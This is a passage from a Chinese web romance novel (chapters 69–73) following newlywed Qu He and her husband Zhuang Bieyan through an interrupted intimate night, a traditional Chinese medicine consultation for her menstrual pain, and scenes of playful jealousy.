其实不用司月说,她心里也明白。
他们之间几乎所有该发生的,能发生的都已经发生了,也就差那最后一步了。
晚饭上桌的时候,曲荷吃顿心不在焉。
“尝尝排骨味道怎么样?”
曲荷看着碗里他夹来的排骨,咬了一小口,“好吃。”
庄别宴跟着夹了一块,似不经意问了句:“那和你的邻居哥哥家做的相比呢?”
曲荷:“......”
又来了。
她索性放下筷子,双手交叠着放在桌上,没忍住问出了那句:“庄别宴,你是不是吃醋了?”
他夹菜的筷子悬在半空,灯光落在他睫毛上,阴影掩盖了他眼底的情绪。
见他没回复,曲荷有点尴尬。
怎么一时嘴快就说出来了呢?他可是庄别宴,怎么可能会吃醋?
她自嘲笑了笑,开始琢磨该怎么圆场。
可庄别宴却放下筷子,抬眸望来。
“我以为。我表现得已经很明显了。”他的声音低沉,坦然中还带着几分无奈。
曲荷愣住了。
她想过他会否认,会打岔,甚至会装听不懂,却没想过他会这么直白地承认。
他这么坦坦荡荡地承认,倒是把她脑袋里那些早已准备好的说词都原路打回了。
可是,他怎么可能会吃醋呢....
曲荷仓皇地拿起筷子,戳着碗里的米饭,“我和周时安...真没什么的,就是普通邻居,小时候玩得比较好而已。”
“我知道。”
“那你还……”还老揪着不放,还吃这种莫名其妙的醋。
她后半句没说完,但庄别宴却听懂了。
他放下筷子,身体微微前倾,目光直直锁着她,“知道是一回事,但....”
明明他的目光没什么侵略性,却让曲荷觉得自己无处可逃。
“曲荷。”
他叫了她一声。
“道理我都懂,但醋这东西,由不得理智管。”
空气仿佛凝固了,曲荷握着筷子的手紧了紧。
她随便扒了两口饭,留下一句“你慢慢吃,我先回房间了”就走了。
浴室里氤氲着水汽。
门开,曲荷擦着头发走了出来,正想去拿吹风机,可刚拉开抽屉,就看到了里头的两个蓝色小方盒。
明明上次还没有的。
她看着那两盒东西,心砰砰直跳,它们就这样堂而皇之地躺在抽屉里,像是在预告即将发生的事情。
这时,门外传来了脚步声。
曲荷飞快地拿出吹风机,砰的一声合上抽屉,坐回床边打开了吹风机。
吹风机嗡嗡响了两声,她故作镇定胡乱吹了两下头发,眼睛却不由自主瞥向门口。
可是等了一会儿,却始终没见人进来。
曲荷关掉吹风机,听到了隔壁浴室传来的流水声。
他在洗澡!
一想到等会即将发生的事,她的心跳不自觉加快。
但又想到司月说的那些话...
只是时间问题而已,总要发生的,东西都买了...
她深吸一口气,放下吹风机,吞了两颗解酒药,然后趁着庄别宴还在洗澡,悄咪咪溜到厨房。
她打着手电筒,从冰柜里找到了那瓶开封过的梅子酒。
这还是上次司月来家里喝剩下的。
她倒了小半杯,琥珀色的液体在月光下荡漾。
仰头一饮而尽,酒精从喉咙滑到胃里,甜甜的,梅子味占据了味蕾,酒精味道反而不重。
好像...没什么感觉?
勇气还差临门一脚!都到这一步了..
她心一横,干脆放下杯子,对着瓶口干掉了剩余的梅子酒。
几口下去,也不知是心理作用还是其他,好像...确实壮胆!神经放松了不少。
她吐出一口气,又悄咪咪回了卧室。
没一会儿浴室的水流声就停了,庄别宴擦着半干的头发走了进来。
许是刚洗过澡,他身上还裹着些水汽,声音带着湿润沙哑,“怎么了?刚才好像听到你进进出出的。”
“没什么。”曲荷别过脸,“去喝了口水。”
他走上前,坐在她旁边,勾起他垂在肩头的发丝,蹙眉:“头发还没吹干?”
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曲荷:“啊?哦,我现在吹。”
她慌乱地拿起吹风机打开。
热风呼呼吹,可不知道是刚才那半瓶梅子酒开始起后劲了,还是什么,脸慢慢烫了起来,再加上吹风机的热风,感觉周围的空气都稀薄了。
“我来吧。”他拿过吹风机,站在她身后。
吹风机嗡嗡响,曲荷感觉后背的皮肤都在发烫。
吹完头发,曲荷钻进了被子里,装模作样看着手机。
庄别宴给自己也吹干了头发,看着半躺在床上的人,她的脸颊泛着不自然的红晕,眼睛像是被染上了一层朦胧。
热风卷来的空气里,还隐隐约约弥漫着一丝淡淡的酒气,甜甜的,像发酵过的梅子香。
他了然地勾了勾唇角,没戳穿,只是眼底的温柔更加浓郁。
“很晚了,睡觉?”他抬手关灯,掀开被子,躺了进去。
“……好。”曲荷的心跳猛地飙高。
房间里只剩下淡淡月光。
黑暗放大了所有的感官,曲荷能清晰地听到两人的呼吸声。
此起彼伏。
空气像被裹了蜜糖,每一秒都是黏糊糊的试探。
曲荷稍稍换了个姿势,这时,他的手臂伸了过来,揽住了她的腰,把她带了过去。
他手上的温度透过睡衣传了过来,曲荷僵硬了一瞬,呼吸卡在了喉咙里。
她感觉刚才喝下去的半瓶酒,在身体里烧起来了,从胃里蔓延到了耳脖子。
庄别宴抱着她,埋进她的颈间。
他的呼吸拂过颈侧,曲荷有些紧张,怕他闻出什么酒味。
好在他什么也没说。
庄别宴的手搂着她的后腰,吻很快落了下来,沿着脖颈一路向下。
酒精放大了人的心底欲望,曲荷慢慢仰头,在黑暗中寻找他的轮廓。
“可以吗?”
他抵着她的额头哑声问。
黑暗中,他的眼睛亮得惊人。
曲荷轻轻点了下头,又想到他应该看不到,然后小声说了:“……嗯。”
下一秒,他的吻就落了下来。
不再像刚才那样的浅尝辄止,而是带着几分隐忍许久的克制。
“阿荷,看着我。”
他伸手从床头柜的抽屉里拿了个东西,塞进她汗湿的手心里:“你来。”
曲荷手指微微发颤,有点烫手!
她摸索着包装袋缺口,塑料摩擦声在房间里异常清晰,好不容易撕开一个小口,小腹忽然传来熟悉的坠痛。
第70章 夫妻生活,一周几次?
曲荷猛地顿住了。
.....不会吧?
在这种时候?
老天爷,不要开这种玩笑!
卡机嘛!
庄别宴察觉到她的僵硬,吻停了下来,声音带着压抑的沙哑:“怎么了?”
曲荷猛地从他怀里弹开,脸红得发烫。
她几乎是连滚带爬地翻下床,黑暗中响起她尴尬又绝望的声音:
“庄别宴!等...别…我..我好像....来大姨妈了!”
空气瞬间凝固了。
灯亮。
刚才所有旖旎和暧昧一扫而空。
庄别宴低低笑了声,带着几分无奈和纵容。
他伸手把她手里的东西拿走丢到垃圾桶,把她搂进怀里,“我来处理。”
曲荷把脸埋在他胸口。
真是丢人丢到姥姥家了,现在移民外太空还来得及吗!!
曲荷去卫生间处理了一下,心情一团乱麻。
她打开手机上的经期记录APP看了看,日子确实是差不多了,但她每次都是延迟几天的,谁能想到这次居然准时了。
可偏偏挑在这个节骨眼上...
怪不得前两天总觉得情绪大起大落,身体也不太爽快。
她看着镜子里泛红的脸颊,吐出一口气,无奈地撩了把头发。
总不能是因为刚才那几口酒,把它给催来了?
还真是被激素控制的女人一生。
曲荷在卫生间里磨蹭了又磨蹭,刚才那些场面一幕幕回放,她现在不知道该怎么出去面对庄别宴。
这时,敲门声响起。
门外传来了庄别宴的声音:“还好吗?需要什么吗?”
曲荷整理了下头发,连忙应道:“好了,马上出来!”
她深吸一口气,拉开门。
回到房间,床单已经被庄别宴换上了新的,但他人并不在。
她正愣神,身后就传来了脚步声。
回头,看见他端着一杯红糖水走了进来。
“稍微喝一点,会舒服些。”他把杯子递到她手里。
曲荷接过杯子,她记得家里的红糖早就没了,“你什么时候买的红糖?”
“昨天去超市的时候买的,你没看到,”他语气自然,“算算时间,你也差不多是这几天了。”
他是按照正常周期估算的,没想到这次歪打正着,正好派上了用场。
想起上次痛经的时候,他也是这样...
她小口小口喝着红糖水,暖意顺着喉咙滑到了胃里。
一杯喝完,她去漱了口,然后回到床上躺下。
刚开始还没什么感觉,可是没多久,那股熟悉的坠胀酸痛感再次卷土重来,一阵紧过一阵。
她不敢随便翻身,怕侧漏,只能僵着身子平躺,手按在小腹上没什么章法地轻轻打着圈揉着。
疼痛没有减缓,疲惫和困意却来了,她的意识开始变得迷迷糊糊。
半梦半醒间,感觉被子被拉了拉,一双温暖的手轻轻地覆了上来。
庄别宴把她往怀里带了带,让她更舒适地靠着。
他的掌心温热,力道不轻不重慢慢在她小腹上揉着,带着安抚的意味。
“很疼?”
“..嗯。”
“每次都这么难受吗?”他的声音贴着她的后颈传来,带着几分心疼。
“嗯.....”
曲荷窝在他怀里,听到他这句话,心里酸了一下,然后诚实又委屈地哼了一声。
她明显感觉到,在她说完这句话后,身后的呼吸沉重了几分。
“其实也还好啦。”
她生出一点想安慰他的心思,“一般就头两天会比较痛,后面几天就没什么感觉了,可能和我这几天吃凉的也有关系。”
“下次提前几天就开始喝点暖的,不许再偷喝冰的,嗯?”他的声音闷闷的,手上的动作却更加轻柔。
“知道啦…”她小声应着。
“睡吧,我帮你揉着。”他轻轻吻了吻她的发顶。
“嗯…”曲荷安心闭上眼。
入睡前,她迷迷糊糊想,好像这日子,也没有那么难熬了。
长夜漫漫,但有人悉心守护,一夜好眠。
......
经期这几天,曲荷明显注意到,饭桌上的菜开始变得格外养生。
消失了很久的药膳补汤重出江湖,当归、黄芪、党参…
曲荷看着那盅深色的汤,只觉得头皮发麻,胃里已经开始提前泛苦。
但也不知道是心理作用,还是有庄别宴的照顾,她这次生理期的确没上次那么难受了。
早上,曲荷换好衣服走出房间,在看到坐在沙发上的人后,愣了愣。
庄别宴没穿往常的西装,而是一件基础白色短袖搭配黑色宽松牛仔裤,整个人清爽又挺拔。
阳光落在他身上,活脱脱一个帅气逼人的年轻男大学生,还是那种回头率超高的校草级别。
曲荷看得有点害羞,但还是没舍得收回目光:“你今天怎么穿成这样?不用去公司吗?”
庄别宴收起手机,起身,“今天请假,带你去个地方。”
比起后半句,前半句更让曲荷震惊。
“你……庄大总裁还要请假的?”
庄别宴轻笑,拿起沙发上的鸭舌帽扣在她头上,正好遮住了她惊讶的眼神。
“庄氏是上市公司,总裁也要打卡上班。不过我这几年几乎全年无休,攒下的假期够我们挥霍好一阵子了。”
说到这,他微微俯身,压低了声音,带着诱哄的意味:“所以,庄太太是不是可以提前想想,我们去哪里度蜜月了?”
曲荷:“....”
她庆幸还要有这顶帽子,正正好遮住了她爆红的脸颊和耳尖。
黑色的迈巴赫行驶在路上,窗外的街景越来越陌生。
曲荷看着马上就要离开市中心了,她扭头问:“我们到底要去哪儿啊?”
“去见一个人。”庄别宴目视前方,语气平静。
“哦…”曲荷下意识地捏紧了安全带。
庄别宴余光看到了她的小动作。
他唐初一只手,轻轻握住了她,“别紧张,她人很和蔼,很好相处。”
和蔼?
曲荷更紧张了。
难不成要去见某个庄家长辈?
车子最后停在了一条巷口。
两人下车,庄别宴牵着她往里走。
巷子清幽,拐过两个弯后,停在了一座四合院前。
青砖灰瓦,朱红大门,门楣上的乌木牌匾写着【颜济堂】三个大字。
这笔锋力道,一看就出自大师之手。
曲荷更加疑惑了,抬头看他,“这是...”
庄别宴回给她一个安抚的眼神,抬手叩响了门上的铜环。
很快,门内传来了脚步声。
门被拉开,一个穿着碧色苏绣旗袍的女人出现在门后,看到他们,笑着打招呼,“来啦?”
女人盘着精致的发髻,眉眼间带着中式古典美人的温婉。
曲荷觉得她有些眼熟,却想不起在哪里见过。
女人目光落在曲荷身上,笑意更深,“你好呀曲荷,我是郁嘉鱼,经常听留月提起你。”
郁嘉鱼?
曲荷恍然大悟,原来是郁汕的姐姐!怪不得眼熟,姐弟俩的眉眼确有几分相似。
“你好,嘉鱼姐。”曲荷连忙打招呼。
“快进来吧,”郁嘉鱼侧身让开,“外婆已经在里面等着了。”
外婆?曲荷被庄别宴牵着往里走,一
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脸茫然。
庄别宴看出她的困惑,低声解释:“嘉鱼和郁汕的外婆是很有经验的老中医。”
中!医!!!
曲荷顿在原地,瞳孔地震,几乎是下意识就想甩开庄别宴的手往外跑。
她从小就怕这些苦苦的东西,更别说中药了。连主任有次说漏嘴,说她小时候生过一场大病,灌了一个月中药才好转。
光是说,曲荷就能想象出那股苦涩的药味,更别提喝了。
“我不去!”她抗拒。
可庄别宴却好像早有准备,手抓得紧紧的,任凭她怎么挣都没松开:“不吃药,我们就只是来看看,让颜外婆帮你号号脉。”
曲荷脸上写满了“我不信”三个大字。
都来看中医了,怎么可能空手回去,必吃的!
她都二十七了,又不是三岁小孩。
她扒拉着门框不肯动,试图做着最后的抵抗。
“庄别宴,痛经真的很正常,真的没事!但我要是喝了中药,那是真的会出事的!我会苦到失去活下去的勇气的!”
庄别宴看着她这副耍赖的样子,眼底飞快闪过一丝笑意,但很快就故意压下嘴角,垂下眼睫。
他松开抓着她的手,轻轻握住她的胳膊,声音低落,带着点委屈和“破碎感”。
“阿荷,就看一下,好吗?每次看到你疼得脸色发白,我却什么都做不了,我这里……”他拉着她的手,轻轻按在自己的胸口,“真的很不好受。”
这...确定还是那个运筹帷幄的商界精英庄家玉树?
这不是活脱脱的一个被拒绝后委屈巴巴的青春男大嘛!
苦肉计加美男计!这个男人,心机太深了!怪不得今天穿成这样,在这里等着她呢!
可明知道他是故意的,但他这副难得一见的模样,配上他那张无可挑剔的脸,杀伤力实在太大。
该死!
曲荷的心,非常可耻地动摇了!
果然,破碎感是男人最好的嫁妆,狠狠怜爱了。
男色误人!美色当前!原则靠边!
她咬了咬牙,最终还是败下阵来,自暴自弃地说:“...好吧好吧,就看一看,说好了不吃药啊!”
庄别宴眼底的低落瞬间散开,得逞的笑意一闪而过,揽着她的肩把她带进里间。
里间中药味道更浓了。
刚进去,就看到一位头发银白女医生坐在红木桌后,见到他们,和蔼地笑了笑:“来了啊,快坐。”
曲荷乖乖打招呼:“颜外婆好。”
“别紧张,孩子,”颜外婆声音温和,“你的情况阿宴大概都和我说过了。”
她指了指桌上的脉枕,“来,把手放这儿,外婆给你瞧瞧。”
曲荷把手腕放上去,颜外婆伸出三指,轻轻搭在她的手腕上,闭目凝神诊脉。
房间里一时间安静下来,只剩下窗外隐约的鸟叫声。
时间一分一秒过去,颜外婆沉默不语,只是指尖偶尔微调一下位置。
看病最怕什么?
最怕医生沉默不说话!
曲荷的心被吊了起来,七上八下的,下意识地转头看向身边的庄别宴。
却发现他视线专注地落在颜外婆搭脉的手指上,眉头微锁,神情严肃。
看到他这副模样,曲荷反而冷静了不少。
她伸出另一只手,悄悄拽了拽他的裤腿,给了他一个安抚的笑。
终于,颜外婆收回了手,睁开了眼睛。
她的目光在两人身上扫了一圈,语气温和却单刀直入:“平时夫妻生活怎么样?一周大概几次?”
曲荷:“……!!!”
空气瞬间凝固。
好不容易压下去的逃跑欲又冒了出来.....
第71章 自制力还挺好
曲荷被颜外婆这句话问得瞬间卡壳。
她有点窘迫,这问题她该怎么回答?
曲荷下意识扭头看向庄别宴,却发现一向从容淡定的他,耳垂居然也染上了一层淡淡的绯红。
他薄唇紧绷,喉结不自然地滚动了一下。
曲荷更慌了,她来回转动着脑袋,视线在庄别宴和颜外婆之间转了好几个来回。
良久,庄别宴才开口:“我们…”
话到嘴边他下意识看了眼曲荷,又改口,“婚后我工作比较忙,所以…”
他试图用一个得体的理由解释。
可话还没说完,就被颜外婆笑着打断了。
老人家慢悠悠地从抽屉里摸出老花镜戴上,目光慈祥却又洞悉一切,“那就是说,到现在一次都还没有?”
庄别宴下颌线微紧,点了点头。
颜外婆的目光在两人之间转了转,看着强装镇定的两个人,笑了笑,语气带着点调侃:“年轻人,自制力还挺好。”
说完,她收回视线,示意曲荷换另一只手。
这次的诊脉速度很快,只看了一会儿颜外婆就收回了手,轻轻皱了下眉头。
曲荷心里“咯噔”一下。
医生皱眉?
她不会是有什么大毛病吧。
颜外婆察觉到她的紧张,温和地笑了笑,示意她放松:“别怕,孩子,没什么大碍。”
她抬了抬眼镜,“你就是脾胃虚寒,消化运转的功能弱了些,平时是不是容易腹胀,没什么胃口?”
曲荷眼睛微微一亮,下意识地点头:“嗯嗯!是的,经常觉得肚子胀胀的,吃一点就饱了。”
“经期也不准吧?经常会延迟,而且来的时候腹痛明显,对不对?”颜外婆继续问道。
曲荷更惊讶了,这都能摸出来?
她连忙点头:“对!经常推迟一到两周,疼起来的时候…”
她想起那种滋味,忍不住皱了皱眉。
“经期来之前,是不是还会觉得后腰和大腿酸胀无力?”
“对对对!就是这样!”
曲荷几乎快要膜拜了,中医这么神奇的吗?
颜外婆了然地点点头,解释道:“你这是先天肾气有些不足,加上后天调理不当,导致了宫寒气虚,气血运行不畅,所以才会出现这些症状。”
她先看了眼旁边的庄别宴,然后问:“小姑娘前几年是不是生活习惯不太规律?经常熬夜吧,饮食也不规律,贪凉比较多吧?”
曲荷咬了下嘴唇,轻轻“嗯”了一声。
庄别宴听到这话,眉头锁了一下,唇抿得更紧了。
那几年,她果然没有好好照顾自己。
他微微侧头看向曲荷,她似乎因为被说中有些不好意思。
想起前两次她来经期的时候,疼到脸色发白的样子,她还说得轻描淡写,还安慰他说只是贪凉吃过了冰的而已。
可她半句没提,这是几年前就已经落下的病根。
那几年..他不敢深想。
心口像是被堵住了,一口气上不来下不去,闷得难受,连呼吸都带着涩。
庄别宴闭了闭眼,眼底蒙上了一层晦暗,混杂着懊悔,心疼还有难以言喻的酸涩。
颜外婆拿出处方笺和笔,安慰道:“别担心,现在改还来得及,关键在于调理。最重要的就是改掉那些坏习惯,饮食要规律,心情也要放松舒畅,少生闷气,开心一点,气血自然就通畅了。”
“嗯,我记住了。”曲荷乖乖应道。
“问题不大,我给你开个方子,回去按时吃上一段时间,把脾胃暖过来,气血补足了,这些症状自然就缓解了。”
颜外婆说着,就开始写方子,笔尖落下沙沙声。
“嗯....嗯?等等!”
曲荷反应过来,瞬间抬起头,却看到颜外婆已经写出了大半张药方。
药方子?!
吃药?!
吃中药!!?
她答应来看诊,可没答应要喝中药啊!
这是两码事!这是另外的价钱!
她扭头看向庄别宴,急切地拽了拽他的裤腿,眼神疯狂示意:快拒绝!快说不要!我们说好的!
可庄别宴不仅没接收她的求救信号,反而一把握住了她的手,反手按在自己腿上,力道不重,却让她无法挣脱。
他听着颜外婆说的那些病症,又想起她每次痛经的模样,脑袋里只有一个念头,必须调理好。
他紧紧握着她的手,看向颜外婆,语气认真:“外婆,除了吃药,平时还需要注意些什么?”
颜外婆笔下不停,头也不抬地嘱咐:“辛辣的,寒凉生冷都要忌。别总是待在空调间里,尤其腹部和脚不能受凉。多出去走走,运动跑步
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都行,活络活络气血,晚上睡前可以用热水泡泡脚....”
庄别宴听得非常专注,默默地把每个字都记在心里。
他听得认真,旁边的曲荷脸已经垮得不行。
内心默默哀嚎,大夏天的,不让喝奶茶,不让吹空调,甚至要喝中药?
这是什么人间酷刑?!
她看庄别宴这铁了心的架势,知道自己大概率是逃不掉了,但还是想做最后的挣扎。
她趁着颜外婆起身去拿另一张药方纸的间隙,凑到庄别宴耳边,压低声音:“可以了庄别宴!我真的不行!吃不来一点中药!”
庄别宴侧头看她,眼神坚定,不为所动。
曲荷没辙了,又抱着他的胳膊晃了晃,声音带着几分撒娇意味:“我真的最怕苦了,我以前痛经都是吃西药止痛片的,见效快还不苦。要不你跟外婆说说,咱们换点西药好不好?求求你了....”
她眨着眼睛,满是期待地看着他,等待他松口。
庄别宴听着她软软的撒娇声,心思微动,但...
“良药苦口,听话。”
好啊!好啊!这就是男人吗?
刚才还用美男计骗她来,现在又用温柔刀逼她吃药!
三十八度的天气,他怎么可以说出这么冰冷绝情的话!
曲荷瞬间炸毛,一把甩开他的手,气鼓鼓地拉开椅子,故意坐得离他远了一点,抱起手臂,用后脑勺对着他,一副“别来挨边”的模样。
颜外婆把开好的两张药方递给庄别宴,又仔细交代了煎药方法和服药禁忌。
末了,颜外婆看着曲荷,又补充了一句,“按照小荷目前的身体底子,宫寒血虚,暂时还不适合考虑要孩子,也不太容易受孕,不然会吃很多苦头,你们平时…也要多注意一点。”
听到这话,曲荷不自觉绷紧了脊背,眼角的余光悄悄瞥向庄别宴。
他双手接过药方,捏得发紧,“我们明白了,谢谢外婆,我们会注意的。”
“嗯,去吧。嘉鱼已经在后面药房了,把方子给她,她配好药会帮你们煎好,到时候直接给你们送过去。”
颜外婆笑容和蔼,朝他们摆了摆手。
两人再次道谢,一前一后走出诊室。
庄别宴小心地收好药方,想去牵曲荷的手,却被她气哼哼地躲开了。
第72章 先婚后爱...吗?
离开颜济堂。
车里,两人谁也没有说话,像是都藏着心事。
曲荷心不在焉地刷着手机,可手机上的字却一个也没看进去,脑袋里都是颜外婆说的那句“身子不好,不容易受孕。”
她透过后视镜,悄悄打量着庄别宴,他下颌线绷得紧紧的,神情凝重,看起来是在生气。
曲荷心里像是被什么东西硌着,不太舒服。
她是因为不想喝中药闹别扭,那他呢?
庄别宴现在的沉默,又是因为什么?
是因为颜外婆说的话吗?
因为她不易受孕的体质?
曲荷心口发闷,无意识地绞着安全带,情绪低落了几分。
可是,明明婚前他们就商量好的,暂时不要孩子,他也同意了。
当时她还松了口气,可现在想想....
“暂时不要”和“身体不易要”,完全是两码事。
想不想生,和能不能生,更是天壤之别。
尤其是庄家那样的豪门世家,真的能接受继承人娶一个可能无法生育的妻子吗?
她感觉自己和庄别宴中间,像是多了堵无形的墙。
碰不着,摸不透。
她到了嘴边的话又咽了回去,最终还是默默压下了心底翻涌的情绪,转头看向窗外。
算了,也许不问,还能维持表面的平静。
......
自从那天从颜济堂回来后,曲荷彻底被中药“**”了。
庄·资本家·别宴展现了惊人的执行力。
他调整了上下班时间,每天雷打不动,准时在早饭后和晚餐前,亲自送上一碗热气腾腾的中药。
“喝吧。”
简单不带感情的两个字,落在曲荷耳里和“大郎,该喝药了”无异!
好像生怕她倒掉,庄别宴每次都会站在旁边,亲自看着她喝完,才放心走开,顺便递上一颗奶糖。
不仅如此,奶茶和咖啡都被滋补的汤取代了。
本来每天吃完晚饭后,她会窝在沙发上追剧,庄别宴偶尔会去书房处理工作,各不打扰。
可现在,他会在饭后拉她下楼散步,美其名曰“活络气血”。
“我不想动,我的沙发离不开我,我有离床恐惧症。”曲荷磨磨唧唧耍赖。
“就半小时。”他半哄半骗拉着她下楼。
一连几天下来,曲荷觉得自己快要被这种健康到极致的生活逼疯了。
人间!不值得!
她每次只能趁着来荷月坊的时候,偷偷点一杯奶茶喝。
一口布蕾脆脆奶芙奶茶落肚,曲荷惬意地靠着沙发,一脸满足。
司月看着她这副样子,忍不住笑出声:“学姐,你这样偷偷喝,就不怕庄总发现吗?”
曲荷刷着手机,不以为然,“天知地知,你知我知。只要你不说,我不说,他怎么会知道?”
一个疗程的中药喝完,庄别宴又带她回了颜济堂复诊。
看着颜外婆搭脉时蹙起的眉头,曲荷心虚得不敢抬头。
颜外婆收回手,推了推老花镜,语气平和:“调理还是有效果的,脉象比之前有力了一些。”
曲荷暗松了口气。
庄别宴紧抿的嘴角也似乎柔和了几分。
“不过....”
颜外婆话锋一转,“吃冷饮的习惯,还是没完全改掉啊。”
中医面前,无处遁形!
曲荷那半口气卡在喉咙里,差点噎住。
她没抬头,却能明显感觉到周身的气压骤然低了几分。
她试图狡辩,底气却不足:“外婆,您....您要不再仔细看看?我每天都有按时喝药的,我还饭后散步....”
她避重就轻,绝口不提自己偷偷喝奶茶的事情。
颜外婆被她逗笑了,摆摆手:“外婆也没说不让你喝,年轻人嘛,偶尔喝几次解解馋是可以的,但还是要懂得节制。任何事情都是过犹不及啊。”
最后几个字,她说的时候看向了庄别宴,意味深长。
重新开了药方,离开颜济堂的时候,庄别宴一言不发地走在前面,走得也比平时快了些。
曲荷看着他冷硬的背影,烦躁地“啧”了一声,正琢磨着怎么道歉,没注意前面的人突然停下了脚步。
她差点撞上他的后背,连忙刹车。
“怎么了....还有事吗?”
庄别宴转过身,目光落在她脸上,眸色深沉如墨,看得曲荷心底发慌。
“阿荷。”他低声叫她,声音听不出情绪。
曲荷身体一僵,“那个....我也就偶尔喝了几次!真的!就几次!你不信的话可以去店里调监控,真的不多!”
话音刚落,她就想咬掉自己的舌头。
他还什么都没问呢,她怎么就不打自招了?真没出息!
她正懊恼着,却忽然感觉腰间一紧。
庄别宴长臂一伸,将她轻轻揽进怀里。
他的下巴抵着她的发顶,无奈叹了声气,“下次不用躲着我偷偷喝。想喝的时候告诉我,我陪你去买。”
“嗯?”
曲荷愣住。
怎么突然改性了?他不生气了?难道是因为她诚实交代了?
庄别宴松开她,低头垂眸,眼神里带着认真的反思:“这段日子,是我太紧张了,逼你逼得太紧,以后不会这样了。”
还有这种好事?
曲荷眨了眨眼睛,试图得寸进尺:“那....既然你都知道错了,我是不是可以不喝中药了?”
庄别宴:“.....”
他沉默地看了她两秒,“这个不行,药必须喝。”
曲荷:“.....”
她就知道!
白高兴了。
最后两人讨价还价,经过一番“友好”协商,最终拍板每周可以喝一次奶茶。
代价就是曲荷这几天早上起来的时候,手酸得不行。
但是,因为颜外婆这次开的新药方每天只用喝一次,曲荷觉
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得日子又有盼头了。
司月看着她复诊回来后反而春光满面的样子,不禁感叹:“看来庄总对学姐你还是很好嘛,都知道反思自己了。”
曲荷咬着下嘴唇,没否认。
“没想到啊,小说里先婚后爱的情节,居然在我身边上演了!”司月捧着脸,一脸憧憬。
曲荷愣了一下。
先婚后爱....吗?
最初和庄别宴领证结婚,只是情况所迫,更准确一点,就是她不想让庄别宴因为她受罚而已。
哪里会想过结婚后会有这样的日子,可仔细回想,不知不觉间,庄别宴已经无孔不入地渗透了她的生活。
习惯真是一件可怕的事情,她好像已经习惯了身边有这样一个他。
可越习惯,她越后怕。
她总感觉和庄别宴之间,隔着很多还没说清的事情,就比如那个关于孩子的问题....
“司月,”她问,“你说,要是有一天,我和庄别宴离婚了怎么办?”
“啊?”
司月吓了一跳,“学姐你要离婚?可是庄总不是对你很好吗?”
曲荷摇摇头,眼底闪过一丝迷茫:“他是对我很好,但他也可以对别人很好。他现在照顾我,会吃醋,都是因为我是他的妻子,这是他身为丈夫的责任和体面。可这....又不是因为爱。”
司月似懂非懂,“那学姐你呢,你爱庄总吗?”
曲荷愣了一下。
爱吗?
在经历了那段背叛后,她还怎么敢再相信?更何况是庄别宴这样的人。
曲荷:“我应该...没有吧。”
司月一针见血:“那你就让他爱上你不就好了?等庄总爱上你了,你再慢慢敞开心扉,这样根本就没有损失!”
让庄别宴爱上她?
这简直是滑天下之大稽!
曲荷失笑。
那可是庄别宴!庄家玉树本就是可望不可即的...
“你知道的,我们现在就只是躺在一张床上的关系,仅此而已。”
她低声说道,带着一丝自嘲。
本以为经期结束后,他们会继续那晚没做完的事情。可是从颜济堂回来后,他们之间再也没有进一步。
或许,他也不是很想吧。
毕竟...孩子的事情,...
司月叹了口气,“感情都是慢慢的培养的。不过你刚才说的,倒也是个问题,但是....”
她打了个响指,眼里闪过一抹狡黠,“办法也不是没有,我需要准备一下!”
曲荷一脸茫然,还想追问,手机铃声响了起来。
看着屏幕上跳动着“庄别宴”三个大字,她下意识以为他又来抓她偷喝奶茶了。
电话一接通,她脱口而出:“我这次真没喝!天地良心,日月可鉴!”
电话那头沉默了几秒,传来他低沉的笑声。
“对太太的这点信任我还是有的。我在荷月坊门口等你,今晚回老宅吃饭。”
第73章 他帅?还是你老公帅?
回庄宅?
这么突然?
挂断电话后曲荷嘀咕了两句,跟司月打了声招呼后就出去了。
店门外不远处的树下,黑色迈巴赫静静的停在那里,曲荷脚步不自觉加快了几步。
刚过拐角,就看到庄别宴站在那里,好像在和别人说话。
走近了才发现,他对面还站着个男人。
男人身形高大,一眼看去身高和庄别宴不相上下。
他留着利落的寸头,身上是简单的基础黑色短袖搭配棕色工装裤,踩着一双军靴,硬朗又凛冽。
他指间夹着一支烟,烟雾缭绕,更为他添了几分生人勿近的神秘。
庄别宴背对着她,倒是那男人先看见了她,目光在她脸上顿了半秒,带着几分警惕的审视。
曲荷的脚步下意识慢了下来。
许是察觉到对方的眼神变化,庄别宴回头。
刹那间,曲荷清晰的看到了他眼底没来得及散去的幽暗,可在看到她的瞬间,很快被温柔取代,一度让她以为是错觉。
他自然的朝她伸手,牵着她走向那男人,“北城刑警队长,顾聿。”
然后他看向顾聿,“我太太,曲荷。”
刑警队长?
曲荷下意识挺直了背脊,肃然起敬。
对这个职业的天然敬畏感油然而生,连忙礼貌问好:“顾警官您好,我是曲荷。”
顾聿的视线在她和庄别宴相握的手上转了圈,嘴角勾起一抹调侃的弧度,声音略带沙哑:“叫我顾聿就行,久仰大名。”
曲荷懵了,她跟这位刑警队长一次都没见过,何来“久仰”?
她看向庄别宴,可他却像没听见似的,只是在她手背上轻轻摩挲着。
顾聿掐灭了烟头,看了眼手表:“先走了,队里还有事,下次有机会再聚。”
他冲曲荷点了点头,转身大步离开。
曲荷看着他雷厉风行的身影,目光追随了片刻。
但她纯粹是出于对这份职业的敬畏,没有其他意思。
可她却没想到这个行为落在庄别宴眼里,却完全变了味。
庄别宴看着曲荷那“依依不舍”的目光,觉得身体里流的不是血,而是醋!甚至连呼吸的空气都是酸的。
“顾警官,还挺有范的。”
曲荷感叹了一句,人**察这个职业,本身就带着让人崇拜的神圣光芒,她这话里除了崇拜半分别的意思都没有。
“觉得他帅?”庄别宴的话听不出情绪。
曲荷诚实点头。
这种阳光硬汉型男,还自带正义感光芒,确实很独特。
可旁边却传来一句没有温度的冷哼。
“呵。”
曲荷莫名其妙:“怎么了?”
她感觉握着自己的手紧了几分。
庄别宴的目光沉沉:“有你老公帅?”
曲荷:“.....”
不是吧,这种醋也吃?
但她还是被这个问题带偏了,居然真的开始思考了。
庄别宴是那种贵气禁欲贵公子的帅,是那种用温柔一点点攻破你心房,带人沉溺的帅。
而顾聿是截然不同的路子,硬朗狂野,是纯粹的帅,充满原始力量,一拳砸开破门而入的帅,****式的那种...
但是...
曲荷偷偷瞥了一眼旁边绷着脸的男人,心里还是稍微有点偏向庄别宴的,但是话到嘴边就变成了,“这有什么好比的,根本不是一个类型....”
庄别宴本来是随口一问,可是看到她居然真的开始认真比较,脸色又沉了沉。
在她心里,他居然还需要跟别人“比较”?
庄别宴手臂一伸,将她拽进怀里,额头抵着她的,鼻尖几乎要碰到一起。
他目光锁着曲荷,一字一顿:“刚才看得不清楚?现在呢?”
如此近的距离,曲荷无处可逃。
她的呼吸都乱了,看着他即将落下来的吻,曲荷很,没有骨气的改口,“你帅!我老公最帅了!”
